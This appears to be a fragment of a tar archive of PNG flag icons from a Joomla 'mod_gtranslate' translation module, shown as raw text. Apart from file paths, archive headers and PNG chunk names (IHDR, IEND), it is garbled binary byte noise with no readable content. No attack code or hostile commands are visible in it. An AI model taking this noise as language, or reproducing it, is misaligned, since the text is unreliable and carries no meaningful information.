H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/48/sm.png000060400000002531150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���oU�?gv�[�?�T����h�Hx�G_�&��Qߍ��!&�f$$�bH�$I�!~��$"�Pضܝ;s��af���K[c7����N���=��s��3��-��m�
��;J@%{�<����S]t������Y`�PF9P=�5#_\æ�k{�d��<n^
AIa���2EX�.A� ,GjC�F��}]q�����!PQ{�ԕ��
�D�w�o��m�3��������$���K(~�ژXܫ��3#n�B*�$1|bY,��@3#���*��\�2;]#���B)h�ɞ1�C�I��Ŏ����u�!Q��Y�%���K礡����T�0 �J_���W���?���ˤd(�$�.Kb���.V�8���$�۵��37155"�@��|���֋�yi��
�����s��U�+=ˍ�[�Ow��΁��'vU%\�ǻon�՝O0�q
_}7N�<AA�����
�s��&'�+%A3�`�,r����pQ�søs��/�f�P?�bf�F�/,�IC�85v�c�����9��$��/!��R�<u盉r�M~8�C�x�7�e�zU���se����zC֐P-?}e,/!�J�%Dn>��Q��P���j}jq�l}j����×��� m��c��K����%D�([ak05�Ƨp�~�z�
`�Y�bQ}�h)����]�p+a�ڡ~f�""�9}a��,�JX�I,�"J��"�1����ɇ����9D V��ɏ��]`@L}~PjQL��Ӥ�Il�ٻ��>��Ϭc�s���YN���r9�P���(Q��P׭�~P�q~4�<�p��T96��oedz�~c�#G��7Ti˛�N�[I��<�g�E�J�6�7����9��Yv�؄�*�v��6Ci�e��< �uf�k2���K��<��Q��
��u���_���u�ԩ%�5Q��:�ҖvZ=R*u����V�'H��}��K���0�"s�����w[���g�U;+�)�k���bJ����:�i��i��&I���<h�'kwI��E��-p��CjYЛ�b��Tۿ���k��ڲ{����Q55?�hK=�xdʐ4ՒU!M{�cG�� ��{�͂=/�3+�b@r9гI���9�*n00�sR
I?0=w�4/�&`'��ǜ�.
��l�%��9Y�R�`�
���&%İD�PkIEND�B`�mod_gtranslate/tmpl/lang/48/it.png000060400000001535150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���n�@�������Vj���V���g�@���
x.��P�w@�6�
%^��p�����i\��d�G��vfvw�bf�Y"Z.�
����H�-F�%O����4v_~zwZ���/��Șo����}��Ã�S��72��gOk�>s��r;zf�j�,�@yi�ҳM��Bt0(u` �hoL9�N��x
x
sʆ�|�>��ڲ��f���T�I<0�z2
U�Y.�#�����Y�je%SO�~�9`����GK�p��B.��� (]��i�p!k��R���Co�
9@Hkt �f��<�ip�Hkx��b�Q��(8�&B(��8�����<��ߙ#���@A�~�c���ѿ����k�,�HuPU.�e#��Z��KA�+o�o`�;H�T��Ѱ��nt*җm���Tц·L���Z�������͜'����:�$q�^�P��ĮB�(��T*��&P]\�M�%��4*
�b%�JU��l�ف�U�ff�mͫfl:�!@�,����:	���~�f��⑵�*�gk��G^��s�
�⸙��.@O8��ɉ3�qtX)&�JS�͏�uI�"9�����J���6=09V�&/"�FD�2@3Ml.�V�`@�b��|&}�&4���m����'[=��Y�����??��z�>p�kY���K;��M���S��l�?�T�r�:"�IEND�B`�mod_gtranslate/tmpl/lang/48/sv.png000060400000001612150746170550013043 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��Kn�@��r�CIر��8@��H�!��5;6,�\��@H\�
�PƏ���=۱'���bjc�TwU�U���m��D\VV�w��sH�$���x��o�7{�:uO_�	���_��mI<��_�x�S�s��ƒ���vl� ���P�����]��8��m4>ү��h��v���z�^tވ\"w'���*�LH0�|���p�K Q��I�f��S�6m�U�b�H3'�HV&��>�Z����wf�����Z�k�4w���48I�x>Ig:X���ɫ$���,��XY�����H�ᐊ'�:ͽg�X�|:_Kp�:�^�wk\���	^��3�r�,�oœNU/;'[[��j��0�@[qd�
g�ƽ�B��@!x}$9I��$5Ig�&vڶ1k�we�M?��&�e�~G������aq�d8��>܍�	
�I'`�t���m �+���p�e��f�`׫��<�i.}ɅƐ.���r̢̓)�����q&�0?���z�S���z�Tb-��z<�r!0�]�jƱ��$<ԩ��w�9�\�f�\�S	���]{t��_���3qN��<�Ň���� s�N�&��
�<����*��,�e�9�{��pՆ����jɨzNbS���
^h��:�pY���V":�e���e�'�c*�Ys���I�/ָZ,g��V6;U�윚
��{u�������i��������G+Oț�sH��m��~```��ww������IEND�B`�mod_gtranslate/tmpl/lang/48/cy.png000060400000005616150746170550013036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��y�\Wu�����t�ҳi�a�Z,��&�Ř��bG����6"@��;�!)P��qAl��x�L�(�(��	�Z-Y�����{fz{۽'tO�ƒ�LB��������w��s�w�=W��YL�v��E��	(�b��Dj��QDrr���X@���&��>��ׂ�24������	�V�1����P)�9�ç�{����t\P�B�캟Q*κ#��c~c?�;x&�������mm�CC�|��S&a9oߥ֚S���=�����|}�^��v�!���C�eY�cbv
�����o�`�Ai�
6��0eQ [Ҵ^-J����>��??���G܎�|�qz�W���%N"Τ���m���Aҭ�g�sEd�8"�|~�YDg��/��bvS|�i�����g_Dl�!14�B�ϖ�q�5(5~�t2��z�k�%�Š8h�7�`�xEW����>t�⁃����e��)�����R��x=}�/����h#���I"���y�{$���1��m;h���Ƅm����G�:H$� �(�,@+p��F
K� �4��_�%��'�U+/<
I����C�4��B�?m
�u/R���}�O�@�P"�,+q{��v���>
_�*���9<��V�P"T���1Eǭ#��P�qj��7���"Vr/��1��l����~mn����G7 A@e�c�m��Rhc��{�ɓ�n�=����&QT���pP������Ӿ�a��LC)��􃵘t3f �s�����G\���1�{��!��W� ����'�!p+x���<�csr�w�ŪK�='�j��x�����OS��>R!����N�ߺ���t<���N���ׄ�|��hH����L�Bn����̹���(�l?�s��1����f��{���86A�Ԇ�i��
[�#
��Μ�ț�8�� �b8#\����߇�r)�B,om#��~�U,1�+����D=���]����(�M[��[)�Q�2x>Q��'�D���'��
�d�N��W
����,^Ĥ�?�7X#Eb�Ru�l�,y=���hy`5�曱?�W$��iq�G/�h0�*��SI}��u3t��'�%��ᠰJ@\A��D>��}bvM�����U�0r���#Xݵ�J�H2��� .=Aą�s?A��2�ڪX9rgx+��/��@x��W�H�\!
X�ň�`�IU]tF�`�hC�5C���(:��Ҍii�i�"bJ��	�����-%�J�%�˵)���!�s;�FHn|��@/��a��ѹ!���'��E�o4%KQ@��P��E(#��0��t�*�b�b�bq���/Y��{���r��}��bB�Я��2*`��k�K�:O�X���}]�<��{o'�-�����;ȷ���B�&kMJ�V
ȋ��f�EQ��R��lD)�"l�CY�@Q����(,�6&��_����
g�|&�fϝ߫�ġ1�,0��<�x��8w��8+�d��_�_o�EKΥ���1DkVk��K�ApD���M�eр"��Gk��@�[洲y~3�g7r�#�8V͖o�Xk��Ts��,B�x��)U� �u�"�~h;K�GX���Tl��8$�� �
�PP�ve�
�"��F���FQ�h�	��@��p8��ZI
�I����QLEF7
g��ecD�ɨ6��GQR�l�48��/#f+bQcC�h\��MNB
�#�Fp�� $�����
"B�("���|�D�!ㆴTB�B��\��?}`3?��̐;��1L��0W+m�Y��F-U���Y/f���4ߒ%!�*��-�F8%�M�ETm�!i)��D�BCJW]$� �k�����~���L���Ne��&�\���L��N�I��i9��w�ya�rb�X�����jh���i�h��i9Q�kn����GWv���v���k����FX�fnj��4�~Q+'��x`�ܶu�l�FC�`ё�r@1� ���&̆
WT%%>����/����8\HgXs!g4�GTu�ϵE����맳c^F)n��Ks(<�����6V?}�{�[��c��C�]�j��z��c3�X��)�������ټty��q*�8�g���n*���9�-��h�c�h��g���)e�:4��F^>��s�X}�|���=ڊ��9�|�J~��?��ڐM9��%�Lۈ�E	hC!bQ���b1� 1��S���U�UB�r^U����6�0����^P�Z[D�~d��|m��J��<G1u�#�q�\����{�����a���W3Z����Zo�T��ZE��B�6U�o�פ����]����l`iO��_`��('�q���!SO󽛦q�'U��xw_�\�ᑛf��5S��ѽ+�\��<y���/.�`Ն^f��m �T�ub�ڋ[Fh�k�݃|l_W)�����MY.ɖY������:�5�ܲ��}�~:�
l�4CE�+��1_SiK��+�}/�S�h�5;�X��I|�W�m���������d,ő�lX�A��|�#]6A�f��
W�$Y���߿i//��y�x%�(Ţ�a.�)p�-�W#����j�)�uG�60�Ko[%p�>&���x΢X=j��G�7�S���5���Q��M)��H�R����/�F�(ަ���9�;?��ģS�Ą��:��
�#�:��	,�'�`����'�9��œ��.�H���������3IEND�B`�mod_gtranslate/tmpl/lang/48/gl.png000060400000003440150746170550013016 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�IDATx��Y{lSe��{�X۵{t�lc6�x�B` *�����41
I4�D�h����

*�����66��G�`m��z��v���w����}��w���}�E�Xc\�����HR}dK"��5�dy�s�}�&�u�)��b�٤���q�@����Ry(m��X��Q3*�-���d�D�3 �m�U�5t�T[7Vf% ?�0���!�Z���sh���Y�=�w�h�Ȅ @n��J��4&o���ztJ
��ѓFZ�@PB@RV�x��C���;+��	�
��
_w爧�i'�D��u�Q�&R2����dHA�Q�Dz�P�j�-{�<L�屪�p��P�
�:R��~��N쭽��0���B�����+����x #�'���(�w@���bI��f�\7���Zw�:]8��C�����k|�kj1զ���������h�ud"9�N2 oz����zwM'�9׆`hޠ%�	D���8Z�"���
xa��At�cBVjs�`�J�~�M��L3�f�-8��
s��>sN�Z;�V�L���� �B�$t[���p����_����j�2�:�U8	��S��~�?��OYI���h���ɸdr��&�=�
W��fզV� '+?�u`P��X��$a�͈7N6�7<t�߸��
�
v�u�����I��b�CL�#-g�ȤѾ��#n|G��S-�(<4B�K�k���'���{{+l��r�6�ҬÎ�S�Ge'^�E�I3rH��9V�����z�5z�g1��dW\6\��x�n<>�*,��Ӎ�+VtS4��
oh�-:|U��g��8�����ر�E}�2�V���Os�
as���{��v�o}�'5d���P�l�B�����B� ���מ��G�ň��L��3R�����B覛�,���3�!)�Q�J��[I���y�{2Ȯ��m�\Ģ�p��{��\�VgYն��e-�i�$x�#�=/�٨^��6uTd�(A�Ԭv_I%^+#~�f��9f����FkJ
�H�
ks�ұ�][�c���{Q
�]x�h#�2�x{(=F�u���8X5*�~|S�uB�C�e���8A�Nl.m��om	���sY�:��L�_v���A�����]����}���������qtnȲ[<U�

xn7�	
�T����]vu�~pC	�Nb��^+�P�`=���_��Tb[Y�ވy1Y�p,�ɐE"�ҊGQ�}��D�n���J���sp ��QD����7�p�7yu���D["~�Z��g�1�p�uv�_�cF�,���-([3OͰQ� 
��0�#�(��\���gZ�X\���#�=''Q��B&���`��	W�܅�&I�i��G�j'�+�����_u8�JY�Bf�}[q2~J��Ο�%6�FcxC�z��▟(���B�e�#�pϨV��Z�a—���4��Wi�?��ܷb�Y)�R�g�tǓ#y�9�$�QY�nƱUyX?;-\�\�n�L�Z;�������ao(m�G&��B�hA�#yxa��m��@)����@b��x����ŬT��L�?�%�}��jb���ug發��Lx�6F�T�k����R�۶alI+i�Z��"�X�'us�0`�m��G�o�f��IEND�B`�mod_gtranslate/tmpl/lang/48/is.png000060400000001761150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FwIDATx��ϋW�?��gf�YWvE0���\QTH^<�ͫ�\�s���r�9�ܒ�r�"ބ\"������n��r�����73Ð��t?�V}_�{U5mT�y��9����;�� ��76V�������$�]��uA���&/o};;��/����y��7�#`EE���G�@:�.Ʈ|qf�����^��������V�pr3��U��;��z�׽��+�*�T��ǖQ�A+QR�I��f
�0�n.qk��:/�sGb��5Cc�g���@��*�yR'�}�|Aw#�b�Gt��Ŧ���`�ڢ�8��_�lZ�Ԧ%
&�+�*m0}8%�k]%h�SG��I�NBB�8� �lR�`�!'/ƒ�xp%�7#�ةh�<"J����ko7q�MB()z �p���y�n[釐vvS⤁�2�d	��\��2|���* q�|I�*�X�c"�gU�a��x~���̝�S�J�1�E�)����<����O�_���G�>DrU�S�M�ı6�����yTtLi8o�f��Ί��*�z�<����Gӣ�J�C\���4��ӧ���]+���2$)x{�܏5����|+YYDG��$�`&���Ѡ��j���A���2����ndE�����L+�vgCs-�����E[�j�hyy���&�V0����/�a���z��ʊ�hnI�H։�E4#�v{۵�F�ٍX���Y��� �C�40�"��m�'0����l��g�SF`�Bh.�36�G���n�0��qC��A�[��j-�e�Coss0v<��u���'�
�Ĝ��W�}C���r�;O�[f�~A`A`A`���T5�a���IEND�B`�mod_gtranslate/tmpl/lang/48/sq.png000060400000003323150746170550013037 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FYIDATx��߫\W�?k�}Μ�IríA+�6hEm4�X��
��!y���>��}V�?�E|�� ��A�APH-r��F)*F�x�9�9�����aN��Lr��&r�.�س�Z{}�~�>bfdsp;�0���ȀN{=H���c���g�����-{`	3:�ߋ���T++K�8G��L����{��ϻ��;��.c\�OK�?FSš1�5W&�^��3�����j�[�����ާi쫟D,6A�%�R��� k7Umv�D�״��g�L԰���.���L>�5Mp��R�@��A�Is �,��l�C��X�{
�_��\FX���Pqx��T���+MM8S���tXO
��5񑢤Y 7[�	���=�ڨ��x���a��X�*U^�*�o�L�z{��G��?4�P��"�R��p�"�^�4�����<G#�5�5r%%q�+���p6�q�̀%q���b��Ou�uS�"�
#/WC>��C�m����2�U���E�����&p%F^4奦!a\���E��61�Ot�<?�b���aGn�?�q��/�ń��d@�!��R�lj�f�-Ǻ���$eKaXUl�CR"4U�Ġ�C��"w��9Є
+7�湆��(�D�nj����4�|T�j3r��%2��ÍGίk��ЩXLX������ju��8�s��n�L� 2�6�9LJ�XF�㯩�/1�!d�"�n���
H���4��TG�M�(%��
Ymj��8�=f�u�R��a�b�Q�^w
B1b����«Ո�&���ʔS.�!�E�X�43~�e<Q<j#J��Wc�\�P�a���Ptm
��-�����&/����T��&�A3�=дN9�e��|�#>�P�i�Jl��4!b�܊��aT�u��Z��^ڑ
<���D�P�]޳����7��:��%�,�u�	��:p�(yS�qfě2pL'-ߍ�Pa��3���Y5d��J��YM���yG�9�P�}�F^�
��?bCi�O�!+aDREX5t��$�b�hƅN�8[��+:|y{�ϭ�r����W�ū���r���o�������Y
‡;]�l!9'Y6Kd��q�5��ܢO�N�Ù�U�%}q��t9.�W�6Z_l�L��N�.����<T\,{�]jzϰ/L��](�h�y��V��_	�#?L���\��O�K"l��-9�zJ<]t8�w���/6U�fx ���[��c޺�&%3]B֞k<��yl�e�㭒�8N�%��b��T^���dU�qt�`Ʋsc�,z���NCHUq�b���48�ym<�g|ζ�'�5M<���<�w��l�`�REX�tZJhJ-�/���<-�+J^�ė�����#K<�l��6}[y'�O|���]Lu�Uf,��3�>�<�y���6?"�M��M�Awsjо��C1Č��'3Df����
��u��";굅�r/̀{���nR���{{��S�^�`B�JTw�i%1��b�� ���FY��>ݾ�r?-�x#���{��
\Ə���׃dؖ�'��p���3@��Ky1#�IEND�B`�mod_gtranslate/tmpl/lang/48/pa.png000060400000002174150746170550013017 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/alt_flagsa.png000060400000023766150746170550014273 0ustar00�PNG


IHDR,,z��tEXtSoftwareAdobe ImageReadyq�e<'�IDATx���XTg�7p�~ov�7�&j�(E:64j4�a76P�� ػ[�"VDzQԨ���$&����m����HQ��kb�|�s�0"(���?���sΜ�s����=3��9&�����1�����GU���m'��a�*l�|��Uچ��F�;��qǸc�i;&�^
�^�+�\���0ȶ�yU���=�*ϯ&f��.�w������i92��W�>���f?�
�ͪ�c���*ܩUU�S�m0��c�1�w�?m���Un�]O���S�W�lαT�:���s<�xJ�������9�*��obu�\���**s�h��K0o�4M��ԎY$E��=2m*�c�W�~�a�}�ٱ�1�z�bU�c�sǸc�1��Ў�ȳՅ�U;���qq��>��ȫ�|2�Hq��S�)�wꏲS��Q�3��lrU�>k�X˷ay�<mҺm8�n^��lu��+p�r�J�]�$���J�}�o�tY�_�g����)�w�;�G�)y&Y�]ɳ�ʙ�㩸V��J�}֞{-�S�mȳ��W�L�ܩ���`�y)ܪ�ʾC>��.�n2lQ��CU�"˝�g����J�A��g�+{��Ν�Nq��S���
�!��ڈ�G�Jd]��ϖ��6�?[�<k��US�0y��Ъ���Uwv�9�d[Sۨ7�'�3�me���t�?i,�,��b�,�,ü74
چA�!ۢ�P(x#f�FQ�dLX���-�į�
������ow�Q0~���ʱl}��-
��ġ�O��*����2���ې'ѵ����2��Ð5��b�,b�,��b����� �,��������h#/�}l}�چ�~�3�6L�~�\��~樒�r���f�_�t���vE���k�+ם ���`��6�Ca�`e�7�1TG�{⿣��$�.�ڇ�Aѫx+�Sa�m��z�A������t�b�~��(�/Kd��h#/�?fY��F�7�6X�,��b�,�A`����`m�~Q�I��j䃫ӏ$�L�D�A���6��WRy�h���V3�
;��l�`լF6��M�E"~�p�V#�pJ
���(�X��I��	ց�Ъ��vˏsk՟S3��>(��G�Y�,�,��b�,�,��b�,�,��b�,�D��ok��(�2�F���!��)���V��7��x麟4F��o���W�`-�L�ʯ$��+�����gЍ�=�#��`Ej*�3�0��l�m|xl
&X�V�)�u�0l��v_�2?4�{��t#�{��X�;��
ێ���h���n�����I���"p��}�rl��;w7l�r;*߉�~�ON�t#N�#!���@)
�i�x�n�!e$�?��N����V�5�Ft�����5�����,��b�,�A`�,��b�,��b�,��b��f���J�\�_�����ƶ��'�l�ƍ_��H��B}�>����l�����c)�?�i��*���}�El���(t�h�3O� `~�X��ѕ�5���s�~�O�b�߱�J\�e��p�ق˹^����o�<�lc����og��
��̟��]�{*�
d�`�+,j�����b�U3����� �M�ÿT
���;/�m�(�
��U�x{�x�m�*�W���8�m92m�m�&X9VM*������Dee�'�B��؊c.h�N�N�rW�Y�d
|����w�����˶���n�r;��w�d#��Ô�jJY奛��0��
4NyIβ�����M��4=�h#�m���`1X��`1��`1X�� 0X��`�q�o�FJ�7��5mI7w�t�PԢ��1hw�	Q�k�wG�2-�I�����oڵ�C�ujSb�''����:�-{�pݱSm��C3�@�#D@����O���.mr���g�����_�׻�Q\�صv%V�EX�?唵C��o�WW����mq�hK��
�}�0���u��<�\��~����g|��ϵ�#/<�c:�_���1���EL,"&1���E��"&1���X��"&��X��"bb��XDL,bbQ-�&�Y|�,^��bɒR���Û������|b=�\�y��#�L"r��0��&����7(<��u?"�ۦ�g�
Oſ(8E��67�|aԉ5~�f�[�*��*���(�n��==�z@|�E ���5�<�+wA���:x�X6��A�#�6�2�~��[
ם��S��1��ۗ���s{��?
=���<�٫�q'V���ѲU�����U\�n���mW��n��<m^������ȑ6p��������p�4�I~h�<ָ��v4����$�'G7`I�\�=�;'d�����]�N�ߟ�{�JJJ�z@�RF�>�_c,G�1u�2]���>F����&���hˎA�cSd�7Av�f�`��x'�+$bb��XDL,bb���EL,bb1���EL,"&1���E��"&1���Xd$��i����'n�V���*��c�Hø���=�;�i弜>���nu{V�L�vv&�1�~`�n����./���!Q�&�`�4cꇉUN�]de��df�N��"���n���G1v�b�������p��X=�Gw�b����E�n=�;}�Q�#�p"F��*Unb叙���tm���ƕX�.�?�/�U�Ro�(3�˨���h�n:��t��ⶸ}�;|���O� ��!���S�P��J:`��#��)�i�q��h�q��Dz���wo��}iX<�	K=�K*#�CW\��M���ӝ�WbU��F�The��F�>pHu��:�_��a;-�]�H8v\��&���7��u'��z%x�I�qU^���0�� ^��p����|��c�5��Ȱrԑ׌�h�l<�055�ʲj�,�c���il�h\���Xwś�	n���E�L/#�dg�����R�UC�,�|Q?�]�-�I�+b,���x�X�;������u��3����!�]>u��.������[fL���L��VR�tJT*��d�����y,"&1���E��"&1���X��"&��X��"bb��XDL,bb�)�z��F��B�U�!�t��&&&oԖ���A����ۮ�ySS�Z���Z�/M�
�B�`�Z5&;/��$��'bȐ���;j��ym�������{,��&�\�x�Y��GjU?z*��L�M����P8mf�ꇉs�h�6\��e�v�CjUGڧM������smo�o�]���ZՏw�&�e�Lt�<[��Fޥ��z�>��Y����88�k�E��=
�"�Z��U�p�r/�C�%h�>
��1"}P�ꇓ��j#!<j.�ߌkGd7s�O�'�NY;(�TV�E�Z5 �A�zl�3�[��x)����ת~4��xo���
�o;�׮�0���=��V���[��#���Tov���f�D����ԏz�z�u���b����6�C��Yx�/Ԣ��<�E<AJ��"&1���X��"&��X��"bb��XDL,bb���EL,bb1���EL,"&1���E��"&1���X��"&��X��"bb��XDL,bb���EL,bb�&���4�� �W��Mx�F똘��j�q�
��px���ʹn��q�#L�G��5�������>���?�5���l|#|�M�9��X�䋧:ejjjf��������pr�ۈ��H8��ybY�X&�G��.�h�1X�c�f_�Olxj��CQ� ��h��W"��򔠠m(?��lo�7���#L�j5�|���!/c&,܉)�(*��Q�c��ј{|�q�c�<L8�žʶlb����	SP8w�q'�۠X�M���?(��UO�[�W?�Sڢᓌ�#=7�@��*r��;nX��$���a���4o5��!��	��a��i\w0P�����6�?"F�(�u��y�=q3`�q'V�ޑX�vZ'-�;�[wZ��x٣Ř;�Κ)����n5B��s��}��	���,���{�u?ڭ����M�9����aK�?�~�92�!˱9��u4����y1Z�
��ۡz�B��n�V�۸
n4�j�y;i4,���a�;;á�r8t:�ơ���ۢnl���1�~8'����U�p��7���iH�j�rpg�9)�[�1���]d[�D�e+���՛����p2�#�!�_���y�P���3��ʴ�#U8�x)�%�T�~
����y��*���]���W�7��R�����X��}��	�)��i�đJk��m��#Y�4h�4�1�vl*�Ռ�b�?[�U%�b�yn?��mk]?��^kƃg���EL,bb1���EL,"&1���E��"&1���X��"&��X��"bb��XDL,bb���EL,bb1���EL,"&1���E��"&1���X��"&�� ���_���cjj�D[���#��Y}��0����g5�-�J�K,�M����k�44��x�	C��;�q��V�إ�Wn��:�y��wV�����ث�%�PIbژ�a��m%&M��&~������=u~�ibZ�\v��X:�;s��b��Ŝ���Ckq�`�N�`��2�zr���l2�~�`��h�Җ�X�s�p�<�-�#�d�2��I��K��/�;�)��'�H򛢛��	UG����T�VDa���xtg�_������?��V�֑�#�F���u��,7���L@��R�A��+���/������E�]��+��Th4q�2n�@V�[�\o��`������<'���W���
Q�I_lT��e�r�^�]!:2��ljM�8�v��j��=u�
�@�0?#K,珠6_�����k�yo�P���5����8�6Nń��P��Ÿ��X�
����I�áWrv��6�z���}�.�gU?�m�������S�$�$釂,D8ai�#~8�9��z�׺���4��j�,�vc�a�G��X5E���G��liT�6N��ʵ��Ń[u���%��v��6i�Э�aÖ��m�R5@��w`�j\Gz�q�J�U�+��c��D�D|�x(�f���D���"��Q=��ĸ*����?ʫ�6J��k��!���"q꣇x](�ʾ�r8v\˞����5%�R��,�[8c�C���2d�P�w��~���"7�`��5�K�
W��6��ɸ�R��+�e�u�X��8O4�Uk�_�=�M�S�PQ��q���=�/�R�+�'WbY��,����@�r��ȾuU=-�@��:�F�X?�l�Db=�hM��#f���f�^��B�1Q���᭗a��*�]�]G>�S?D��~�;ފQ�Ry���%]bݽs��T�f���(ڤѶo��U�����ēl��]?��%UE�%���H,c{*<��g�Y��P�2�c�H��QW�o������#��1��eQo����V�tJJJP�R)�c�Ϙ�!�^�k�������E#���U��Zߏ
��EczWH��"&1���X��"&��X��"bb��XDL,bb���EL,bb1���EL,"&1���E��"&1���X��"&��X��"bb�q$���/�5�n���h���x���r<��Cƽ���7��II�0k�����g�~T��k�u0�(��p��>�N��=��N���?����0��z�9�AY'X���`�G� 
��Η�֐�e������[�jyn�Y�(X�V��g���A��Q�G�n��b��_J�2g
> �]7�w�Jܹ�ώ��`F�Dס[��c3��V���`l�0
�v-��}+�}�L�G�<��񘁀�#�3XG9<ă_T��Gz���EN�>��*X�ù�L�x��K8����u���RCk�f�)l�G��#���v[�V>)�7k+Ɔ.���*��V3l��x��x�L��ic`�0L��S�00"&4Áȴq��qn����q<j�`eggW��_99��:@����,q�80|��xW�]��k�$4i�D�e�0Y?�`��]`�荆	#a�̃�QC����z�&y��Nm�_~-Ʃ�p��A�{�O��H�l�f8a��񨩂u�…*,yH��z�F���d� >��~;�
�Ou�M�pq���y�^��7?��$1I~���.{<�KEf94A�����؎�QC��F<�4�N�r��� |@��(/��y����f9ǃ��!","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","��,�'�e�5}�����]V��1�� W��۟4�{�c���R��a�j����q�b>����⅛HI9����*��%v��n��tZݮE��X��f��< ����"��nğ�#Z��n5�,�6�L��v�<�ݣ�]���u���.e�{�"�G5��sO�:���ӱ"��b,�:Ϥ�K��U�%��6�׏�Q͂e���6��{q�x�h�˴O._ �o��p{��f^*^�7��b� Wy@��Fة��u43�&i�dL=�s�'�DF8ޝ����Gwg���p�9��)b�����71dWǣ���s��M�h�8��x^�*��!�f�J�[��q}�ǣ���=G_�����O7n�h/?5?V�W/�@=|�R���f���ԃ��o�D`�p��:	K�#��d����`��mp)�ה����uN�u�\�!��1�c��t.�c3�U/X�?���"�~���x.����?��+p`�Bl
�㟈'�_�)�����ML����x|T�`��
{����qر�����n�[.ۼ��p��`]�?���k]s@�y���~:��¥�>xT�"t��fVot�_�Vnix�g=�O���#b�A�]�]�Rq�r/�����>�uh&:l����xt����^��[f�� [�Of�e�,�σ��̹��'ұ��X1���N�޴9(�G1�w_�[�t�`/dt���n���}96m:�V�Ð����ږ�C�V3�m�Y���
�ꎫ���T�i�f��ND�d��U����ѭF�7b.���el�E�q�հ��VaR�*<T��:�Na#,>�
��1�c�[3��Q����`��h,XKI��Q��o؇譟`�≘��Qس?�o~��&�L;M+d�n�K�:�ou�/���ܷxU%�H���	�h�v��|�⋷���x�<\<匾��`�[��� \8�E�V��u�P?����1���f��<@�9��DG�"�W-a(�5��|����/�E�L���]��[Gd	��ȴQ�n�oކ�Gu֏6m�k����ȱl!8�M��Lk�xb=-�ur��ŏv�p@�y�ح
��0O�F#
9m��7��/���gK?��p�Y���}���O����}��c9��xT{<|a����޺�a��s���Z9 ���6۩9.�7�xT�`�y��#��9+�ӛ�_�,�˴��*ț����􄅠ߖ�n������Qje����x����S��|�Z#M[|��BU��M�/;�9`���?�����ї�W$���tYϺ�/�q���KU�se��%��TƸ��!��ǂ���CD,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDTN����
��D����[���e��2��
\��j�>��u��-]'P�9O
�k�C��=aJ�-���-�.�L���W��^g��y�Q��0M�~��y�M�Ⴆ��,S/���xTP�����BX�g�~�Lڦ�3��?�NW�A�ۃ�ry[�pܞ&����bM�Z�E~��Xq�+����6��܀��@�!�y�2نr��cvj����m�[G��9�^w���K�b[c�����)ǣ��<�]/]�b������P!Lӆ�ւ���PEE#�x�#0}���κ����J8R�٥�O,��K���p@�?@윏�'�aڡxL;��S�)�J�Y>�@f��W?���)xtW��yf�S֙zH�ZqO<v����}K9�G�b<��)��r0S�+>8���4Ͳ��}� ��Z3�P4?7�8��m��;WU�7 W+h3��1�t��@a��H�#K��t�r{�:�-򟌂�}9 启rz~:�������:C���!�K�v�Q�T>�UX��F�@
9���.m�8��}�1b[�v�p<*(X=������2f�2v�8j��+N���[�a���U��c& o�7ǣ����9:Eয়n�mQ�._�
YĴ�?]��k[뵭ۆ�f����Q�À�ie����=q��+�����i�3=��Q���C��6i��p�vw<.���8|Z�
��(o:�	K�aФh;d���6ix�u�F�EK}�_��c�i�t���x�ِű�xE���Y�
��ݍ��o���(\RO�[g����$\=�m+&c��vX=�
�F���e���7u�֫r��=�)��z�U�i
"n���`9���s��ТY�h5m�3[�o	
